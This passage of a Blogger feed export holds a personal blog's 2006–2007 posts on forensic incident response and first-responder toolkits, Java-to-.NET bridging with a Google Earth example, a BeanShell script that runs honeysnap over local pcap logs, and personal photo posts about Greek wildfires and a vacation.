system we alter their date(last accessed) destroying in this was valueable data.&lt;br /&gt;During the initialisation of a system ,the best practices urge you to remove any unwanted and/or unused services as well as executable applications from the system.&lt;br /&gt;Furthermore, the system should be fully patched and have proper security settings as well as proper security policies.&lt;br /&gt;The steps that follow the suspect machine analysis are the following(documentation):&lt;br /&gt;&lt;br /&gt;Current Date/Time and suspect machine date / time&lt;br /&gt;connected users to the suspect machine&lt;br /&gt;applications runnning per user&lt;br /&gt;Analytically what resources is each application is using?&lt;br /&gt;What libraries/modules are loaded&lt;br /&gt;what ports are open by which application&lt;br /&gt;what are their initialisation parameters and time that the applications is running&lt;br /&gt;Network information, such as routing, connection statistics, ip , dns, dhcp, subnet&lt;br /&gt;promiscuous mode detection.&lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!-- --&gt; --&gt;&lt;span style="" lang="EN-US"&gt;Memory dumps(either per process or full memory dump)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!-- --&gt; --&gt;&lt;span style="" lang="EN-US"&gt;HD Image(for analysis)&lt;/span&gt;&lt;/p&gt;  That was a methodology analysed :)&lt;br /&gt;Do you think is not good? Do you have a better proposal? Let's discuss it...&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-7255014847517013231?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.myspace.com/index.cfm?fuseaction=blog&amp;Mytoken=92F18253-8AF1-4796-A35B467B9D0D787753409640' title='Incident Preparation &amp; Responce'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/7255014847517013231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=7255014847517013231' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/7255014847517013231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/7255014847517013231'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/09/incident-preparation-responce.html' title='Incident Preparation &amp; Responce'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-7242681446889820007</id><published>2007-09-09T20:16:00.000+02:00</published><updated>2007-09-09T20:20:47.986+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics forensic responder toolkit security'/><title type='text'>First responders toolkit</title><content type='html'>&lt;p class="blogSubject"&gt;               First responders toolkit                                              &lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.myspace.com/index.cfm?fuseaction=blog.viewCategory&amp;FriendID=237626712&amp;amp;BlogCategoryID=5"&gt;&lt;/a&gt;                              &lt;/p&gt;                                            &lt;p class="blogContent"&gt;When it comes to professional security , the moto , nothing is secure is a must.&lt;br /&gt;&lt;br /&gt;It is far better to plan ahead ... that is ,a step after security.&lt;br /&gt;&lt;br /&gt;Because one way or another, someone better, or faster (yes there will always will be at least one guy ahead of you) than you, sooner or later is going to break in and if we are talking about enterprise security where the steaks are high then if you do not plan ahead you have lost the game! and who knows what else :)&lt;br /&gt;&lt;br /&gt;So what is the next step after the proper security measures have been applied?&lt;br /&gt;&lt;br /&gt;Obviously a toolkit and a methodology that in a case of an incident the system administrator will follow in order to save and log the important volatile data - that is until the forensic investigator comes in and takes over.&lt;br /&gt;&lt;br /&gt;This process however, of the collection and storage of the volatile data, should be saved in a medium other than the hard drive since otherwise it may lead to destruction of digital evidences.&lt;br /&gt;&lt;br /&gt;One issue when creating a first reponderer toolkit, is the problem with the DLLs dependencies with the forensic tools in windows.&lt;br /&gt;&lt;br /&gt;Because windows source code is closed we cannot statically compile windows native executables. Therefore at a minimum we have to find out an application's footprint in memory and analyse it's dependencies by using a utility such as Filemon.&lt;br /&gt;&lt;br /&gt;The issue with the DLLs is NOT as pressing in the UNIX world.&lt;br /&gt;Since most of the operating systems are open source it is possible to statically build binaries that will not rely on shared libraries. This is the preferred type of tool because its output is more trustworthy.&lt;br /&gt;&lt;br /&gt;Now regarding the methodology&lt;br /&gt;&lt;br /&gt;1. Create a forensic tool testbed&lt;br /&gt;2. Document the testbed&lt;br /&gt;&lt;/p&gt;&lt;div style="margin-left: 40px;"&gt;2.1 OS and S/W installed&lt;br /&gt;2.2 Loaded DLLs (and a hash)&lt;br /&gt;2.3 Types of H/W&lt;br /&gt;2.4 Patches and hotfixes installed&lt;br /&gt;&lt;/div&gt;3. Document and setup the forensic tools&lt;br /&gt;&lt;div style="margin-left: 40px;"&gt;3.1 Acuisition&lt;br /&gt;3.2 Description&lt;br /&gt;3.3 Functionality&lt;br /&gt;3.4 Dependencies and system affects&lt;br /&gt;&lt;/div&gt;4. Test the tools&lt;br /&gt;&lt;br /&gt;As a first responderer, you should follow this methodology to ensure the integrity and reliability of each collection tool, command, or application you use in the field.&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-7242681446889820007?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.myspace.com/index.cfm?fuseaction=blog.view&amp;friendID=237626712&amp;blogID=307301309' title='First responders toolkit'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/7242681446889820007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=7242681446889820007' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/7242681446889820007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/7242681446889820007'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/09/first-responders-toolkit.html' title='First responders toolkit'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-8347301761659893331</id><published>2007-09-02T16:35:00.001+02:00</published><updated>2008-12-13T00:59:49.775+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='greek tragedy 2007 flames fire august election greece hellas'/><title type='text'>Greek Tragedy ...</title><content type='html'>These Pictures are thousands of words....&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_YH1pKNoAhPg/RtrLY6RsE3I/AAAAAAAAADA/WWOeYxlHY4U/s1600-h/wgreece.jpg"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_YH1pKNoAhPg/RtrLY6RsE3I/AAAAAAAAADA/WWOeYxlHY4U/s400/wgreece.jpg" alt="" id="BLOGGER_PHOTO_ID_5105616756398625650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_YH1pKNoAhPg/RtrLY6RsE4I/AAAAAAAAADI/abxtO5T3In8/s1600-h/august_2007_greek_fires.jpg"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_YH1pKNoAhPg/RtrLY6RsE4I/AAAAAAAAADI/abxtO5T3In8/s400/august_2007_greek_fires.jpg" alt="" id="BLOGGER_PHOTO_ID_5105616756398625666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YH1pKNoAhPg/RtrLZKRsE5I/AAAAAAAAADQ/KkaKFRXF7aM/s1600-h/greecesat_large_fire_25082007.jpg"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_YH1pKNoAhPg/RtrLZKRsE5I/AAAAAAAAADQ/KkaKFRXF7aM/s400/greecesat_large_fire_25082007.jpg" alt="" id="BLOGGER_PHOTO_ID_5105616760693592978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YH1pKNoAhPg/RtrLZKRsE6I/AAAAAAAAADY/mT_CwJK8YC8/s1600-h/Greece_AMO_2007238._earthobservatory.jpg"&gt;&lt;img style="cursor: pointer;" src="http://1.bp.blogspot.com/_YH1pKNoAhPg/RtrLZKRsE6I/AAAAAAAAADY/mT_CwJK8YC8/s400/Greece_AMO_2007238._earthobservatory.jpg" alt="" id="BLOGGER_PHOTO_ID_5105616760693592994" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-8347301761659893331?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://vangelisblog.blogspot.com' title='Greek Tragedy ...'/><link rel='enclosure' type='' href='http://vangelisblog.blogspot.com' length='0'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/8347301761659893331/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=8347301761659893331' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8347301761659893331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8347301761659893331'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/09/greek-tragedy.html' title='Greek Tragedy ...'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_YH1pKNoAhPg/RtrLY6RsE3I/AAAAAAAAADA/WWOeYxlHY4U/s72-c/wgreece.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-3795404409909645337</id><published>2007-08-22T21:05:00.000+02:00</published><updated>2008-12-13T00:59:50.422+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vacations beach sunset sunrise greece chess relax'/><title type='text'>Hobbies and vacations</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YH1pKNoAhPg/RsyJqKRsElI/AAAAAAAAAAU/Mbp6Qm802ac/s1600-h/chess-jt-draw-2359.JPG"&gt;This vacations where the most relaxing ever...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I had it all...&lt;br /&gt;&lt;br /&gt;happy and relaxing time by the sea with beautiful company&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_YH1pKNoAhPg/RsyJqKRsElI/AAAAAAAAAAU/Mbp6Qm802ac/s1600-h/chess-jt-draw-2359.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_YH1pKNoAhPg/RsyJqKRsElI/AAAAAAAAAAU/Mbp6Qm802ac/s320/chess-jt-draw-2359.JPG" alt="" id="BLOGGER_PHOTO_ID_5101603835309986386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;nice games of chess with a strong opponent's such as this ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;taking photos all day long such as the ones below (sunrise in Greece, Samos)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YH1pKNoAhPg/RsyMU6RsEmI/AAAAAAAAAAc/2pZcq8f4vmE/s1600-h/P1020956.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_YH1pKNoAhPg/RsyMU6RsEmI/AAAAAAAAAAc/2pZcq8f4vmE/s400/P1020956.JPG" alt="" id="BLOGGER_PHOTO_ID_5101606768772649570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and ...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YH1pKNoAhPg/RsyOIqRsEnI/AAAAAAAAAAk/cSDupChpLkw/s1600-h/P1030789.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_YH1pKNoAhPg/RsyOIqRsEnI/AAAAAAAAAAk/cSDupChpLkw/s400/P1030789.JPG" alt="" id="BLOGGER_PHOTO_ID_5101608757342507634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and a greek beach by sunset ...&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_YH1pKNoAhPg/RsyQX6RsEoI/AAAAAAAAAAs/iqWdD6lC9yI/s1600-h/P1030359.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_YH1pKNoAhPg/RsyQX6RsEoI/AAAAAAAAAAs/iqWdD6lC9yI/s400/P1030359.JPG" alt="" id="BLOGGER_PHOTO_ID_5101611218358768258" border="0" /&gt;&lt;/a&gt;what else can anyone ask? ...&lt;br /&gt;&lt;br /&gt;More vacations :)&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-3795404409909645337?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/3795404409909645337/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=3795404409909645337' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/3795404409909645337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/3795404409909645337'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/08/hobbies-and-vacations.html' title='Hobbies and vacations'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_YH1pKNoAhPg/RsyJqKRsElI/AAAAAAAAAAU/Mbp6Qm802ac/s72-c/chess-jt-draw-2359.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-4727368295389642631</id><published>2007-07-09T15:48:00.001+02:00</published><updated>2008-12-13T00:59:50.595+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='googleearth dotnetfromjava'/><category scheme='http://www.blogger.com/atom/ns#' term='google earth'/><category scheme='http://www.blogger.com/atom/ns#' term='google earth  java'/><title type='text'>Google Earth From Java</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Dot Net from Java&lt;/span&gt; has published a google earth from java API.&lt;br /&gt;&lt;br /&gt;Here is an example of &lt;span style="font-weight: bold;"&gt;opening google earth from java&lt;/span&gt;.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;import gr.dotnetfromjava.base.*;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class GE {&lt;br /&gt;&lt;br /&gt;    public static void main(String[] args) throws Exception {&lt;br /&gt;//        first we initialize the bridge.&lt;br /&gt;        NETManager.initialize();&lt;br /&gt;//        then we create the google earth application window&lt;br /&gt;        earthlib.ApplicationGEClass geApp = new earthlib.ApplicationGEClass();&lt;br /&gt;//        load a kml(Athens Traffic) file to display&lt;br /&gt;        geApp.OpenKmlFile(new NetString("c:\\Athens.kml"), new NetInt32());&lt;br /&gt;//        kill the bridge&lt;br /&gt;        NETManager.destroy();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Note , destroying the bridge will NOT close the google earth window.&lt;br /&gt;You will have to close it manually.&lt;br /&gt;&lt;br /&gt;Requirements to run the previous example  :&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;1. Download and install Google Earth (4 or above)&lt;br /&gt;&lt;br /&gt;2. "C:\Program Files\Google\Google Earth\googleearth.exe" /RegServer&lt;br /&gt;&lt;br /&gt;3. TlbImp.exe "C:\Program Files\Google\Google Earth\googleearth.exe" /out:"C:\Program Files\Google\Google Earth\Interop.EARTHLib.dll"&lt;br /&gt;&lt;br /&gt;4. Download from &lt;a href="https://dotnetfromjava.dev.java.net/"&gt; DotNetFrom Java website &lt;/a&gt; the following files:&lt;br /&gt;&lt;br /&gt;    dotnetfromjava.jar&lt;br /&gt;    dotnetfromjava.dll&lt;br /&gt;    GoogleEarthLib.jar&lt;br /&gt;5. Download the GE.java compile it and run.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;You should see something like the following:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_YH1pKNoAhPg/RpJHRfYX9PI/AAAAAAAAAAM/CKjrS3D7G30/s1600-h/GoogleEarthFromJava.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_YH1pKNoAhPg/RpJHRfYX9PI/AAAAAAAAAAM/CKjrS3D7G30/s400/GoogleEarthFromJava.JPG" alt="" id="BLOGGER_PHOTO_ID_5085205295061791986" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-4727368295389642631?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://dotnetfromjava.dev.java.net/' title='Google Earth From Java'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/4727368295389642631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=4727368295389642631' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/4727368295389642631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/4727368295389642631'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/07/google-earth-from-java.html' title='Google Earth From Java'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_YH1pKNoAhPg/RpJHRfYX9PI/AAAAAAAAAAM/CKjrS3D7G30/s72-c/GoogleEarthFromJava.JPG' height='72' width='72'/><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-8520775979967796058</id><published>2007-06-22T19:21:00.000+02:00</published><updated>2007-06-22T20:17:19.757+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><category scheme='http://www.blogger.com/atom/ns#' term='dot net fat'/><category scheme='http://www.blogger.com/atom/ns#' term='dotnetfromjava'/><title type='text'>DotNetfromJava</title><content type='html'>.Net from java, Access any .NET Object and invoke any of its members via reflection&lt;br /&gt;&lt;br /&gt;The intended purpose of this software API is to provide access to the .NET APIs, widening in this way the available java APIs. (For the moment is available only for windows systems)&lt;br /&gt;&lt;br /&gt;To start development using dotnetfromjava you need the&lt;a href="https://dotnetfromjava.dev.java.net/servlets/ProjectDocumentList?folderID=7614&amp;expandFolder=7614&amp;folderID=0"&gt; gr.dotnetfromjava.cpp.dll and dotnetfromjava.jar &lt;/a&gt; binaries.&lt;br /&gt;&lt;br /&gt;Then after these files are addded to your project you have to initialize the dotnetfromjava native bridge. This can be done with the following method call:&lt;br /&gt;&lt;i&gt;&lt;br /&gt;   NETManager.initialize(); &lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;When the bridge is initialized it pins the .NET Objects to the memory so that they will NOT get garbage collected. Because of the above restriction you have to initalize the bridge before you invoke any method and destroy  it after you have finished with your .NET Invocations.&lt;br /&gt;&lt;br /&gt;After you finish with all the native calls you can release any native resources that are beign held with the following method call&lt;br /&gt;&lt;i&gt;&lt;br /&gt;   int res = NETManager.destroy();&lt;br /&gt;//                      if (res==0) success&lt;br /&gt;//                      else failure   &lt;br /&gt;&lt;/i&gt;&lt;br /&gt;   &lt;br /&gt;By releasing a java object , it will also release its peer resources its from the dotnetfromjava registry and will eventually garbage collected from the .NET GC.&lt;br /&gt;&lt;br /&gt;After we create the bridge we can create any .Net Object by passing the appropriate arguments to the NetObject constructor.&lt;br /&gt;&lt;br /&gt;Examples: &lt;br /&gt;&lt;br /&gt;NetObject dotnetObject = new NetObject("mscorlib.dll","System.Object");&lt;br /&gt;&lt;br /&gt;NetObject customObject = &lt;br /&gt;                         new NetObject("C:\\","my.dll","my.full.namespace.object",&lt;br /&gt;                                         new NetObject[]{dotnetObject});&lt;br /&gt;After we create an .NEtObject we can invoke any method in that object via one of the following method calls:&lt;br /&gt;&lt;br /&gt;# invokeSetMethod&lt;br /&gt;# invokeGetMethod&lt;br /&gt;# invokeSetProperty&lt;br /&gt;# invokeGetProperty&lt;br /&gt;# invokeSetField&lt;br /&gt;# invokeGetField &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; All of the above methods are overloaded. You can invoke a member with just its name and its parameters (if any).&lt;br /&gt;&lt;i&gt;&lt;br /&gt;ie. (Windows Form creation and method invocation)&lt;br /&gt;&lt;br /&gt;NetObject form = new NetObject("System.Windows.Forms.dll",         &lt;br /&gt;                                                       "System.Windows.Forms.Form");&lt;br /&gt;&lt;br /&gt;form.invokeSetMethod("set_Text", new NetObject[]{new NetString("Form bar Text")}); &lt;/i&gt;&lt;br /&gt;The aforementioned method invocations exist similarly for static methods.&lt;br /&gt;A static method can be invoked via the following way.&lt;br /&gt;&lt;i&gt;  &lt;br /&gt;NetObject.invokeStaticSetMethod("mscorlib.dll", "System.Console", "WriteLine",new   &lt;br /&gt;                                          NetBase[]{new NetString("Tsa...")});&lt;br /&gt;&lt;br /&gt;   &lt;br /&gt;  &lt;/i&gt;&lt;br /&gt;For further documentation and examples you may view the javadocs and/or the examples subpackage as well as the official dotnetfromjava website&lt;br /&gt;&lt;br /&gt;.NetfromJava provides also a sample .Net2java code geberator for extracting classs out of the assemblies&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-8520775979967796058?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://dotnetfromjava.dev.java.net/' title='DotNetfromJava'/><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/8520775979967796058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=8520775979967796058' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8520775979967796058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8520775979967796058'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/06/dotnetfromjava.html' title='DotNetfromJava'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-8705757796865160332</id><published>2007-03-16T08:08:00.000+01:00</published><updated>2007-09-09T20:34:36.014+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java bean shell bsh forensic honeypot honeynet security'/><title type='text'>Interesting Java Related Scripting languages</title><content type='html'>While I was searching for digital forensics and honeynets I started looking for an automated way to do administrative tasks.&lt;br /&gt;&lt;br /&gt;However , I wanted scripting shell that would be object oriented(at least for most of my tasks) , ideally would provide me direct access to the core Java API and would give me all the shell power that i needed.&lt;br /&gt;&lt;br /&gt;The first choice that popped up was the linux shell (not object oriented though )which is powerful. However as I said before my preference laid upon a java like shell.&lt;br /&gt;&lt;br /&gt;First I found jsh , haven't tried it yet.&lt;br /&gt;Then I found out jython a powerful java - python bridge (which I found out to nearly what I wanted) and also found very useful in many occasions and last but not least I found the One that it is my favourite the Java Bean Shell.&lt;br /&gt;&lt;br /&gt;You can execute scripts from the command line like you would execute any other shell script.&lt;br /&gt;&lt;br /&gt;Here is an example that lists log files in pcap directory and passes all files recursively to honeysnap for further analysis&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;script name : list.sh&lt;span style="font-style: italic;"&gt;&lt;br /&gt;#!/usr/bin/env bsh   //indicates the shell to be used&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;java.io.File homedir = new&lt;br /&gt;java.io.File(System.getProperties().getProperty("user.home")); //get the user home dir&lt;br /&gt;hdir = homedir.getAbsolutePath()+"/pcapLogAnalysis";&lt;br /&gt;mhdir="mkdir "+hdir; //string concat&lt;br /&gt;&lt;br /&gt;exec(mhdir); //create subdir&lt;br /&gt;if (bsh.args.length == 0) { //check for commandline arguments&lt;br /&gt;      hSnapParm = "--all-flows";&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt;      hSnapParm = bsh.args[0];&lt;br /&gt;}&lt;br /&gt;java.io.File pcaps = new java.io.File("/var/log/pcap"); //default pcap dir&lt;br /&gt;java.io.File[] pcapdirs = pcaps.listFiles();// get files &amp; directories&lt;br /&gt;for ( eachpcapdir : pcapdirs ) { //for each pcap dir &lt;br /&gt;      java.io.File[] logs = eachpcapdir.listFiles(); //list log files&lt;br /&gt;      for ( eachlog : logs ) { //for each log&lt;br /&gt;              if (eachlog.getAbsolutePath().endsWith("log")){&lt;br /&gt;                      java.io.File parent = new&lt;br /&gt;java.io.File(eachlog.getParent());&lt;br /&gt;                      exec("mkdir "+parent.getAbsolutePath());&lt;br /&gt;&lt;br /&gt;cmd="honeysnap -H10.0.0.10,10.0.0.20 "+&lt;br /&gt;hSnapParm+" "+&lt;br /&gt;eachlog.getAbsolutePath()+ " -o "+hdir+"/"+parent.getName()+" -f "+hdir+"/"+parent.getName()+"/analysis.txt";&lt;br /&gt;                      exec(cmd);&lt;br /&gt;                      print(cmd);&lt;br /&gt;              }&lt;br /&gt;      }&lt;br /&gt;}&lt;br /&gt;exec("tar -cjf "+homedir.getAbsolutePath()+"/analysis.tar.bz2  "+homedir.getAbsolutePath()+"/pcapLogAnalysis -C  "+homedir.getAbsolutePath());&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;http://nanoagent.blogspot.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5895656367020038426-8705757796865160332?l=nanoagent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nanoagent.blogspot.com/feeds/8705757796865160332/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5895656367020038426&amp;postID=8705757796865160332' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8705757796865160332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5895656367020038426/posts/default/8705757796865160332'/><link rel='alternate' type='text/html' href='http://nanoagent.blogspot.com/2007/03/interesting-java-related-scripting.html' title='Interesting Java Related Scripting languages'/><author><name>nanoagent</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5895656367020038426.post-6213055161650863109</id><published>2006-10-12T18:17:00.000+02:00</published><updated>2006-10-13T20:26:17.590+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='5020 series'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='acerhk'/><category scheme='http://www.blogger.com/atom/ns#' term='acer_acpi'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless configuration'/><category scheme='http://www.blogger.com/atom/ns#' term='Acer'/><category scheme='http://www.blogger.com/atom/ns#' term='aspire'/><category scheme='http://www.blogger.com/atom/ns#' term='ndiswrapper'/><category scheme='http://www.blogger.com/atom/ns#' term='dritek'/><category 